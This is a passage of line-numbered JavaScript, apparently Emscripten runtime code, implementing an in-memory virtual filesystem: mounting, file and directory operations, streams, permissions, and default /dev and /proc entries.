  3697.             mount.type.syncfs(mount, populate, done)
  3698.         }
  3699.         ))
  3700.     }
  3701.     ),
  3702.     mount: (function(type, opts, mountpoint) {
  3703.         var root = mountpoint === "/";
  3704.         var pseudo = !mountpoint;
  3705.         var node;
  3706.         if (root && FS.root) {
  3707.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3708.         } else if (!root && !pseudo) {
  3709.             var lookup = FS.lookupPath(mountpoint, {
  3710.                 follow_mount: false
  3711.             });
  3712.             mountpoint = lookup.path;
  3713.             node = lookup.node;
  3714.             if (FS.isMountpoint(node)) {
  3715.                 throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3716.             }
  3717.             if (!FS.isDir(node.mode)) {
  3718.                 throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3719.             }
  3720.         }
  3721.         var mount = {
  3722.             type: type,
  3723.             opts: opts,
  3724.             mountpoint: mountpoint,
  3725.             mounts: []
  3726.         };
  3727.         var mountRoot = type.mount(mount);
  3728.         mountRoot.mount = mount;
  3729.         mount.root = mountRoot;
  3730.         if (root) {
  3731.             FS.root = mountRoot
  3732.         } else if (node) {
  3733.             node.mounted = mount;
  3734.             if (node.mount) {
  3735.                 node.mount.mounts.push(mount)
  3736.             }
  3737.         }
  3738.         return mountRoot
  3739.     }
  3740.     ),
  3741.     unmount: (function(mountpoint) {
  3742.         var lookup = FS.lookupPath(mountpoint, {
  3743.             follow_mount: false
  3744.         });
  3745.         if (!FS.isMountpoint(lookup.node)) {
  3746.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3747.         }
  3748.         var node = lookup.node;
  3749.         var mount = node.mounted;
  3750.         var mounts = FS.getMounts(mount);
  3751.         Object.keys(FS.nameTable).forEach((function(hash) {
  3752.             var current = FS.nameTable[hash];
  3753.             while (current) {
  3754.                 var next = current.name_next;
  3755.                 if (mounts.indexOf(current.mount) !== -1) {
  3756.                     FS.destroyNode(current)
  3757.                 }
  3758.                 current = next
  3759.             }
  3760.         }
  3761.         ));
  3762.         node.mounted = null;
  3763.         var idx = node.mount.mounts.indexOf(mount);
  3764.         assert(idx !== -1);
  3765.         node.mount.mounts.splice(idx, 1)
  3766.     }
  3767.     ),
  3768.     lookup: (function(parent, name) {
  3769.         return parent.node_ops.lookup(parent, name)
  3770.     }
  3771.     ),
  3772.     mknod: (function(path, mode, dev) {
  3773.         var lookup = FS.lookupPath(path, {
  3774.             parent: true
  3775.         });
  3776.         var parent = lookup.node;
  3777.         var name = PATH.basename(path);
  3778.         if (!name || name === "." || name === "..") {
  3779.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3780.         }
  3781.         var err = FS.mayCreate(parent, name);
  3782.         if (err) {
  3783.             throw new FS.ErrnoError(err)
  3784.         }
  3785.         if (!parent.node_ops.mknod) {
  3786.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3787.         }
  3788.         return parent.node_ops.mknod(parent, name, mode, dev)
  3789.     }
  3790.     ),
  3791.     create: (function(path, mode) {
  3792.         mode = mode !== undefined ? mode : 438;
  3793.         mode &= 4095;
  3794.         mode |= 32768;
  3795.         return FS.mknod(path, mode, 0)
  3796.     }
  3797.     ),
  3798.     mkdir: (function(path, mode) {
  3799.         mode = mode !== undefined ? mode : 511;
  3800.         mode &= 511 | 512;
  3801.         mode |= 16384;
  3802.         return FS.mknod(path, mode, 0)
  3803.     }
  3804.     ),
  3805.     mkdirTree: (function(path, mode) {
  3806.         var dirs = path.split("/");
  3807.         var d = "";
  3808.         for (var i = 0; i < dirs.length; ++i) {
  3809.             if (!dirs[i])
  3810.                 continue;
  3811.             d += "/" + dirs[i];
  3812.             try {
  3813.                 FS.mkdir(d, mode)
  3814.             } catch (e) {
  3815.                 if (e.errno != ERRNO_CODES.EEXIST)
  3816.                     throw e
  3817.             }
  3818.         }
  3819.     }
  3820.     ),
  3821.     mkdev: (function(path, mode, dev) {
  3822.         if (typeof dev === "undefined") {
  3823.             dev = mode;
  3824.             mode = 438
  3825.         }
  3826.         mode |= 8192;
  3827.         return FS.mknod(path, mode, dev)
  3828.     }
  3829.     ),
  3830.     symlink: (function(oldpath, newpath) {
  3831.         if (!PATH.resolve(oldpath)) {
  3832.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3833.         }
  3834.         var lookup = FS.lookupPath(newpath, {
  3835.             parent: true
  3836.         });
  3837.         var parent = lookup.node;
  3838.         if (!parent) {
  3839.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3840.         }
  3841.         var newname = PATH.basename(newpath);
  3842.         var err = FS.mayCreate(parent, newname);
  3843.         if (err) {
  3844.             throw new FS.ErrnoError(err)
  3845.         }
  3846.         if (!parent.node_ops.symlink) {
  3847.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3848.         }
  3849.         return parent.node_ops.symlink(parent, newname, oldpath)
  3850.     }
  3851.     ),
  3852.     rename: (function(old_path, new_path) {
  3853.         var old_dirname = PATH.dirname(old_path);
  3854.         var new_dirname = PATH.dirname(new_path);
  3855.         var old_name = PATH.basename(old_path);
  3856.         var new_name = PATH.basename(new_path);
  3857.         var lookup, old_dir, new_dir;
  3858.         try {
  3859.             lookup = FS.lookupPath(old_path, {
  3860.                 parent: true
  3861.             });
  3862.             old_dir = lookup.node;
  3863.             lookup = FS.lookupPath(new_path, {
  3864.                 parent: true
  3865.             });
  3866.             new_dir = lookup.node
  3867.         } catch (e) {
  3868.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3869.         }
  3870.         if (!old_dir || !new_dir)
  3871.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
  3872.         if (old_dir.mount !== new_dir.mount) {
  3873.             throw new FS.ErrnoError(ERRNO_CODES.EXDEV)
  3874.         }
  3875.         var old_node = FS.lookupNode(old_dir, old_name);
  3876.         var relative = PATH.relative(old_path, new_dirname);
  3877.         if (relative.charAt(0) !== ".") {
  3878.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3879.         }
  3880.         relative = PATH.relative(new_path, old_dirname);
  3881.         if (relative.charAt(0) !== ".") {
  3882.             throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  3883.         }
  3884.         var new_node;
  3885.         try {
  3886.             new_node = FS.lookupNode(new_dir, new_name)
  3887.         } catch (e) {}
  3888.         if (old_node === new_node) {
  3889.             return
  3890.         }
  3891.         var isdir = FS.isDir(old_node.mode);
  3892.         var err = FS.mayDelete(old_dir, old_name, isdir);
  3893.         if (err) {
  3894.             throw new FS.ErrnoError(err)
  3895.         }
  3896.         err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name);
  3897.         if (err) {
  3898.             throw new FS.ErrnoError(err)
  3899.         }
  3900.         if (!old_dir.node_ops.rename) {
  3901.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3902.         }
  3903.         if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) {
  3904.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3905.         }
  3906.         if (new_dir !== old_dir) {
  3907.             err = FS.nodePermissions(old_dir, "w");
  3908.             if (err) {
  3909.                 throw new FS.ErrnoError(err)
  3910.             }
  3911.         }
  3912.         try {
  3913.             if (FS.trackingDelegate["willMovePath"]) {
  3914.                 FS.trackingDelegate["willMovePath"](old_path, new_path)
  3915.             }
  3916.         } catch (e) {
  3917.             console.log("FS.trackingDelegate['willMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3918.         }
  3919.         FS.hashRemoveNode(old_node);
  3920.         try {
  3921.             old_dir.node_ops.rename(old_node, new_dir, new_name)
  3922.         } catch (e) {
  3923.             throw e
  3924.         } finally {
  3925.             FS.hashAddNode(old_node)
  3926.         }
  3927.         try {
  3928.             if (FS.trackingDelegate["onMovePath"])
  3929.                 FS.trackingDelegate["onMovePath"](old_path, new_path)
  3930.         } catch (e) {
  3931.             console.log("FS.trackingDelegate['onMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3932.         }
  3933.     }
  3934.     ),
  3935.     rmdir: (function(path) {
  3936.         var lookup = FS.lookupPath(path, {
  3937.             parent: true
  3938.         });
  3939.         var parent = lookup.node;
  3940.         var name = PATH.basename(path);
  3941.         var node = FS.lookupNode(parent, name);
  3942.         var err = FS.mayDelete(parent, name, true);
  3943.         if (err) {
  3944.             throw new FS.ErrnoError(err)
  3945.         }
  3946.         if (!parent.node_ops.rmdir) {
  3947.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3948.         }
  3949.         if (FS.isMountpoint(node)) {
  3950.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3951.         }
  3952.         try {
  3953.             if (FS.trackingDelegate["willDeletePath"]) {
  3954.                 FS.trackingDelegate["willDeletePath"](path)
  3955.             }
  3956.         } catch (e) {
  3957.             console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3958.         }
  3959.         parent.node_ops.rmdir(parent, name);
  3960.         FS.destroyNode(node);
  3961.         try {
  3962.             if (FS.trackingDelegate["onDeletePath"])
  3963.                 FS.trackingDelegate["onDeletePath"](path)
  3964.         } catch (e) {
  3965.             console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3966.         }
  3967.     }
  3968.     ),
  3969.     readdir: (function(path) {
  3970.         var lookup = FS.lookupPath(path, {
  3971.             follow: true
  3972.         });
  3973.         var node = lookup.node;
  3974.         if (!node.node_ops.readdir) {
  3975.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3976.         }
  3977.         return node.node_ops.readdir(node)
  3978.     }
  3979.     ),
  3980.     unlink: (function(path) {
  3981.         var lookup = FS.lookupPath(path, {
  3982.             parent: true
  3983.         });
  3984.         var parent = lookup.node;
  3985.         var name = PATH.basename(path);
  3986.         var node = FS.lookupNode(parent, name);
  3987.         var err = FS.mayDelete(parent, name, false);
  3988.         if (err) {
  3989.             throw new FS.ErrnoError(err)
  3990.         }
  3991.         if (!parent.node_ops.unlink) {
  3992.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3993.         }
  3994.         if (FS.isMountpoint(node)) {
  3995.             throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3996.         }
  3997.         try {
  3998.             if (FS.trackingDelegate["willDeletePath"]) {
  3999.                 FS.trackingDelegate["willDeletePath"](path)
  4000.             }
  4001.         } catch (e) {
  4002.             console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  4003.         }
  4004.         parent.node_ops.unlink(parent, name);
  4005.         FS.destroyNode(node);
  4006.         try {
  4007.             if (FS.trackingDelegate["onDeletePath"])
  4008.                 FS.trackingDelegate["onDeletePath"](path)
  4009.         } catch (e) {
  4010.             console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  4011.         }
  4012.     }
  4013.     ),
  4014.     readlink: (function(path) {
  4015.         var lookup = FS.lookupPath(path);
  4016.         var link = lookup.node;
  4017.         if (!link) {
  4018.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4019.         }
  4020.         if (!link.node_ops.readlink) {
  4021.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4022.         }
  4023.         return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link))
  4024.     }
  4025.     ),
  4026.     stat: (function(path, dontFollow) {
  4027.         var lookup = FS.lookupPath(path, {
  4028.             follow: !dontFollow
  4029.         });
  4030.         var node = lookup.node;
  4031.         if (!node) {
  4032.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4033.         }
  4034.         if (!node.node_ops.getattr) {
  4035.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4036.         }
  4037.         return node.node_ops.getattr(node)
  4038.     }
  4039.     ),
  4040.     lstat: (function(path) {
  4041.         return FS.stat(path, true)
  4042.     }
  4043.     ),
  4044.     chmod: (function(path, mode, dontFollow) {
  4045.         var node;
  4046.         if (typeof path === "string") {
  4047.             var lookup = FS.lookupPath(path, {
  4048.                 follow: !dontFollow
  4049.             });
  4050.             node = lookup.node
  4051.         } else {
  4052.             node = path
  4053.         }
  4054.         if (!node.node_ops.setattr) {
  4055.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4056.         }
  4057.         node.node_ops.setattr(node, {
  4058.             mode: mode & 4095 | node.mode & ~4095,
  4059.             timestamp: Date.now()
  4060.         })
  4061.     }
  4062.     ),
  4063.     lchmod: (function(path, mode) {
  4064.         FS.chmod(path, mode, true)
  4065.     }
  4066.     ),
  4067.     fchmod: (function(fd, mode) {
  4068.         var stream = FS.getStream(fd);
  4069.         if (!stream) {
  4070.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4071.         }
  4072.         FS.chmod(stream.node, mode)
  4073.     }
  4074.     ),
  4075.     chown: (function(path, uid, gid, dontFollow) {
  4076.         var node;
  4077.         if (typeof path === "string") {
  4078.             var lookup = FS.lookupPath(path, {
  4079.                 follow: !dontFollow
  4080.             });
  4081.             node = lookup.node
  4082.         } else {
  4083.             node = path
  4084.         }
  4085.         if (!node.node_ops.setattr) {
  4086.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4087.         }
  4088.         node.node_ops.setattr(node, {
  4089.             timestamp: Date.now()
  4090.         })
  4091.     }
  4092.     ),
  4093.     lchown: (function(path, uid, gid) {
  4094.         FS.chown(path, uid, gid, true)
  4095.     }
  4096.     ),
  4097.     fchown: (function(fd, uid, gid) {
  4098.         var stream = FS.getStream(fd);
  4099.         if (!stream) {
  4100.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4101.         }
  4102.         FS.chown(stream.node, uid, gid)
  4103.     }
  4104.     ),
  4105.     truncate: (function(path, len) {
  4106.         if (len < 0) {
  4107.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4108.         }
  4109.         var node;
  4110.         if (typeof path === "string") {
  4111.             var lookup = FS.lookupPath(path, {
  4112.                 follow: true
  4113.             });
  4114.             node = lookup.node
  4115.         } else {
  4116.             node = path
  4117.         }
  4118.         if (!node.node_ops.setattr) {
  4119.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  4120.         }
  4121.         if (FS.isDir(node.mode)) {
  4122.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4123.         }
  4124.         if (!FS.isFile(node.mode)) {
  4125.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4126.         }
  4127.         var err = FS.nodePermissions(node, "w");
  4128.         if (err) {
  4129.             throw new FS.ErrnoError(err)
  4130.         }
  4131.         node.node_ops.setattr(node, {
  4132.             size: len,
  4133.             timestamp: Date.now()
  4134.         })
  4135.     }
  4136.     ),
  4137.     ftruncate: (function(fd, len) {
  4138.         var stream = FS.getStream(fd);
  4139.         if (!stream) {
  4140.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4141.         }
  4142.         if ((stream.flags & 2097155) === 0) {
  4143.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4144.         }
  4145.         FS.truncate(stream.node, len)
  4146.     }
  4147.     ),
  4148.     utime: (function(path, atime, mtime) {
  4149.         var lookup = FS.lookupPath(path, {
  4150.             follow: true
  4151.         });
  4152.         var node = lookup.node;
  4153.         node.node_ops.setattr(node, {
  4154.             timestamp: Math.max(atime, mtime)
  4155.         })
  4156.     }
  4157.     ),
  4158.     open: (function(path, flags, mode, fd_start, fd_end) {
  4159.         if (path === "") {
  4160.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4161.         }
  4162.         flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags;
  4163.         mode = typeof mode === "undefined" ? 438 : mode;
  4164.         if (flags & 64) {
  4165.             mode = mode & 4095 | 32768
  4166.         } else {
  4167.             mode = 0
  4168.         }
  4169.         var node;
  4170.         if (typeof path === "object") {
  4171.             node = path
  4172.         } else {
  4173.             path = PATH.normalize(path);
  4174.             try {
  4175.                 var lookup = FS.lookupPath(path, {
  4176.                     follow: !(flags & 131072)
  4177.                 });
  4178.                 node = lookup.node
  4179.             } catch (e) {}
  4180.         }
  4181.         var created = false;
  4182.         if (flags & 64) {
  4183.             if (node) {
  4184.                 if (flags & 128) {
  4185.                     throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
  4186.                 }
  4187.             } else {
  4188.                 node = FS.mknod(path, mode, 0);
  4189.                 created = true
  4190.             }
  4191.         }
  4192.         if (!node) {
  4193.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4194.         }
  4195.         if (FS.isChrdev(node.mode)) {
  4196.             flags &= ~512
  4197.         }
  4198.         if (flags & 65536 && !FS.isDir(node.mode)) {
  4199.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4200.         }
  4201.         if (!created) {
  4202.             var err = FS.mayOpen(node, flags);
  4203.             if (err) {
  4204.                 throw new FS.ErrnoError(err)
  4205.             }
  4206.         }
  4207.         if (flags & 512) {
  4208.             FS.truncate(node, 0)
  4209.         }
  4210.         flags &= ~(128 | 512);
  4211.         var stream = FS.createStream({
  4212.             node: node,
  4213.             path: FS.getPath(node),
  4214.             flags: flags,
  4215.             seekable: true,
  4216.             position: 0,
  4217.             stream_ops: node.stream_ops,
  4218.             ungotten: [],
  4219.             error: false
  4220.         }, fd_start, fd_end);
  4221.         if (stream.stream_ops.open) {
  4222.             stream.stream_ops.open(stream)
  4223.         }
  4224.         if (Module["logReadFiles"] && !(flags & 1)) {
  4225.             if (!FS.readFiles)
  4226.                 FS.readFiles = {};
  4227.             if (!(path in FS.readFiles)) {
  4228.                 FS.readFiles[path] = 1;
  4229.                 Module["printErr"]("read file: " + path)
  4230.             }
  4231.         }
  4232.         try {
  4233.             if (FS.trackingDelegate["onOpenFile"]) {
  4234.                 var trackingFlags = 0;
  4235.                 if ((flags & 2097155) !== 1) {
  4236.                     trackingFlags |= FS.tracking.openFlags.READ
  4237.                 }
  4238.                 if ((flags & 2097155) !== 0) {
  4239.                     trackingFlags |= FS.tracking.openFlags.WRITE
  4240.                 }
  4241.                 FS.trackingDelegate["onOpenFile"](path, trackingFlags)
  4242.             }
  4243.         } catch (e) {
  4244.             console.log("FS.trackingDelegate['onOpenFile']('" + path + "', flags) threw an exception: " + e.message)
  4245.         }
  4246.         return stream
  4247.     }
  4248.     ),
  4249.     close: (function(stream) {
  4250.         if (stream.getdents)
  4251.             stream.getdents = null;
  4252.         try {
  4253.             if (stream.stream_ops.close) {
  4254.                 stream.stream_ops.close(stream)
  4255.             }
  4256.         } catch (e) {
  4257.             throw e
  4258.         } finally {
  4259.             FS.closeStream(stream.fd)
  4260.         }
  4261.     }
  4262.     ),
  4263.     llseek: (function(stream, offset, whence) {
  4264.         if (!stream.seekable || !stream.stream_ops.llseek) {
  4265.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4266.         }
  4267.         stream.position = stream.stream_ops.llseek(stream, offset, whence);
  4268.         stream.ungotten = [];
  4269.         return stream.position
  4270.     }
  4271.     ),
  4272.     read: (function(stream, buffer, offset, length, position) {
  4273.         if (length < 0 || position < 0) {
  4274.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4275.         }
  4276.         if ((stream.flags & 2097155) === 1) {
  4277.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4278.         }
  4279.         if (FS.isDir(stream.node.mode)) {
  4280.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4281.         }
  4282.         if (!stream.stream_ops.read) {
  4283.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4284.         }
  4285.         var seeking = true;
  4286.         if (typeof position === "undefined") {
  4287.             position = stream.position;
  4288.             seeking = false
  4289.         } else if (!stream.seekable) {
  4290.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4291.         }
  4292.         var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position);
  4293.         if (!seeking)
  4294.             stream.position += bytesRead;
  4295.         return bytesRead
  4296.     }
  4297.     ),
  4298.     write: (function(stream, buffer, offset, length, position, canOwn) {
  4299.         if (length < 0 || position < 0) {
  4300.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4301.         }
  4302.         if ((stream.flags & 2097155) === 0) {
  4303.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4304.         }
  4305.         if (FS.isDir(stream.node.mode)) {
  4306.             throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  4307.         }
  4308.         if (!stream.stream_ops.write) {
  4309.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4310.         }
  4311.         if (stream.flags & 1024) {
  4312.             FS.llseek(stream, 0, 2)
  4313.         }
  4314.         var seeking = true;
  4315.         if (typeof position === "undefined") {
  4316.             position = stream.position;
  4317.             seeking = false
  4318.         } else if (!stream.seekable) {
  4319.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  4320.         }
  4321.         var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn);
  4322.         if (!seeking)
  4323.             stream.position += bytesWritten;
  4324.         try {
  4325.             if (stream.path && FS.trackingDelegate["onWriteToFile"])
  4326.                 FS.trackingDelegate["onWriteToFile"](stream.path)
  4327.         } catch (e) {
  4328.             console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
  4329.         }
  4330.         return bytesWritten
  4331.     }
  4332.     ),
  4333.     allocate: (function(stream, offset, length) {
  4334.         if (offset < 0 || length <= 0) {
  4335.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4336.         }
  4337.         if ((stream.flags & 2097155) === 0) {
  4338.             throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4339.         }
  4340.         if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) {
  4341.             throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4342.         }
  4343.         if (!stream.stream_ops.allocate) {
  4344.             throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)
  4345.         }
  4346.         stream.stream_ops.allocate(stream, offset, length)
  4347.     }
  4348.     ),
  4349.     mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  4350.         if ((stream.flags & 2097155) === 1) {
  4351.             throw new FS.ErrnoError(ERRNO_CODES.EACCES)
  4352.         }
  4353.         if (!stream.stream_ops.mmap) {
  4354.             throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4355.         }
  4356.         return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags)
  4357.     }
  4358.     ),
  4359.     msync: (function(stream, buffer, offset, length, mmapFlags) {
  4360.         if (!stream || !stream.stream_ops.msync) {
  4361.             return 0
  4362.         }
  4363.         return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags)
  4364.     }
  4365.     ),
  4366.     munmap: (function(stream) {
  4367.         return 0
  4368.     }
  4369.     ),
  4370.     ioctl: (function(stream, cmd, arg) {
  4371.         if (!stream.stream_ops.ioctl) {
  4372.             throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)
  4373.         }
  4374.         return stream.stream_ops.ioctl(stream, cmd, arg)
  4375.     }
  4376.     ),
  4377.     readFile: (function(path, opts) {
  4378.         opts = opts || {};
  4379.         opts.flags = opts.flags || "r";
  4380.         opts.encoding = opts.encoding || "binary";
  4381.         if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4382.             throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4383.         }
  4384.         var ret;
  4385.         var stream = FS.open(path, opts.flags);
  4386.         var stat = FS.stat(path);
  4387.         var length = stat.size;
  4388.         var buf = new Uint8Array(length);
  4389.         FS.read(stream, buf, 0, length, 0);
  4390.         if (opts.encoding === "utf8") {
  4391.             ret = UTF8ArrayToString(buf, 0)
  4392.         } else if (opts.encoding === "binary") {
  4393.             ret = buf
  4394.         }
  4395.         FS.close(stream);
  4396.         return ret
  4397.     }
  4398.     ),
  4399.     writeFile: (function(path, data, opts) {
  4400.         opts = opts || {};
  4401.         opts.flags = opts.flags || "w";
  4402.         opts.encoding = opts.encoding || "utf8";
  4403.         if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4404.             throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4405.         }
  4406.         var stream = FS.open(path, opts.flags, opts.mode);
  4407.         if (opts.encoding === "utf8") {
  4408.             var buf = new Uint8Array(lengthBytesUTF8(data) + 1);
  4409.             var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);
  4410.             FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn)
  4411.         } else if (opts.encoding === "binary") {
  4412.             FS.write(stream, data, 0, data.length, 0, opts.canOwn)
  4413.         }
  4414.         FS.close(stream)
  4415.     }
  4416.     ),
  4417.     cwd: (function() {
  4418.         return FS.currentPath
  4419.     }
  4420.     ),
  4421.     chdir: (function(path) {
  4422.         var lookup = FS.lookupPath(path, {
  4423.             follow: true
  4424.         });
  4425.         if (lookup.node === null) {
  4426.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4427.         }
  4428.         if (!FS.isDir(lookup.node.mode)) {
  4429.             throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4430.         }
  4431.         var err = FS.nodePermissions(lookup.node, "x");
  4432.         if (err) {
  4433.             throw new FS.ErrnoError(err)
  4434.         }
  4435.         FS.currentPath = lookup.path
  4436.     }
  4437.     ),
  4438.     createDefaultDirectories: (function() {
  4439.         FS.mkdir("/tmp");
  4440.         FS.mkdir("/home");
  4441.         FS.mkdir("/home/web_user")
  4442.     }
  4443.     ),
  4444.     createDefaultDevices: (function() {
  4445.         FS.mkdir("/dev");
  4446.         FS.registerDevice(FS.makedev(1, 3), {
  4447.             read: (function() {
  4448.                 return 0
  4449.             }
  4450.             ),
  4451.             write: (function(stream, buffer, offset, length, pos) {
  4452.                 return length
  4453.             }
  4454.             )
  4455.         });
  4456.         FS.mkdev("/dev/null", FS.makedev(1, 3));
  4457.         TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);
  4458.         TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops);
  4459.         FS.mkdev("/dev/tty", FS.makedev(5, 0));
  4460.         FS.mkdev("/dev/tty1", FS.makedev(6, 0));
  4461.         var random_device;
  4462.         if (typeof crypto !== "undefined") {
  4463.             var randomBuffer = new Uint8Array(1);
  4464.             random_device = (function() {
  4465.                 crypto.getRandomValues(randomBuffer);
  4466.                 return randomBuffer[0]
  4467.             }
  4468.             )
  4469.         } else if (ENVIRONMENT_IS_NODE) {
  4470.             random_device = (function() {
  4471.                 return require("crypto").randomBytes(1)[0]
  4472.             }
  4473.             )
  4474.         } else {
  4475.             random_device = (function() {
  4476.                 return Math.random() * 256 | 0
  4477.             }
  4478.             )
  4479.         }
  4480.         FS.createDevice("/dev", "random", random_device);
  4481.         FS.createDevice("/dev", "urandom", random_device);
  4482.         FS.mkdir("/dev/shm");
  4483.         FS.mkdir("/dev/shm/tmp")
  4484.     }
  4485.     ),
  4486.     createSpecialDirectories: (function() {
  4487.         FS.mkdir("/proc");
  4488.         FS.mkdir("/proc/self");
  4489.         FS.mkdir("/proc/self/fd");
  4490.         FS.mount({
  4491.             mount: (function() {
  4492.                 var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73);
  4493.                 node.node_ops = {
  4494.                     lookup: (function(parent, name) {
  4495.                         var fd = +name;
  4496.                         var stream = FS.getStream(fd);
  4497.                         if (!stream)
  4498.                             throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4499.                         var ret = {
  4500.                             parent: null,
  4501.                             mount: {
  4502.                                 mountpoint: "fake"
  4503.                             },
  4504.                             node_ops: {
  4505.                                 readlink: (function() {
  4506.                                     return stream.path
  4507.                                 }
  4508.                                 )
  4509.                             }
  4510.                         };
  4511.                         ret.parent = ret;
  4512.                         return ret
  4513.                     }
  4514.                     )
  4515.                 };
  4516.                 return node
  4517.             }
  4518.             )
  4519.         }, {}, "/proc/self/fd")
  4520.     }
  4521.     ),
  4522.     createStandardStreams: (function() {
  4523.         if (Module["stdin"]) {
  4524.             FS.createDevice("/dev", "stdin", Module["stdin"])
  4525.         } else {
  4526.             FS.symlink("/dev/tty", "/dev/stdin")
  4527.         }
  4528.         if (Module["stdout"]) {
  4529.             FS.createDevice("/dev", "stdout", null, Module["stdout"])
  4530.         } else {
  4531.             FS.symlink("/dev/tty", "/dev/stdout")
  4532.         }
  4533.         if (Module["stderr"]) {
  4534.             FS.createDevice("/dev", "stderr", null, Module["stderr"])
  4535.         } else {
  4536.             FS.symlink("/dev/tty1", "/dev/stderr")
  4537.         }
  4538.         var stdin = FS.open("/dev/stdin", "r");
  4539.         assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")");
  4540.         var stdout = FS.open("/dev/stdout", "w");
  4541.         assert(stdout.fd === 1, "invalid handle for stdout (" + stdout.fd + ")");
  4542.         var stderr = FS.open("/dev/stderr", "w");
  4543.         assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")")
  4544.     }
  4545.     ),
  4546.     ensureErrnoError: (function() {
  4547.         if (FS.ErrnoError)
  4548.             return;
  4549.         FS.ErrnoError = function ErrnoError(errno, node) {
  4550.             this.node = node;
  4551.             this.setErrno = (function(errno) {
  4552.                 this.errno = errno;
  4553.                 for (var key in ERRNO_CODES) {
  4554.                     if (ERRNO_CODES[key] === errno) {
  4555.                         this.code = key;
  4556.                         break
  4557.                     }
  4558.                 }
  4559.             }
  4560.             );
  4561.             this.setErrno(errno);
  4562.             this.message = ERRNO_MESSAGES[errno]
  4563.         }
  4564.         ;
  4565.         FS.ErrnoError.prototype = new Error;
  4566.         FS.ErrnoError.prototype.constructor = FS.ErrnoError;
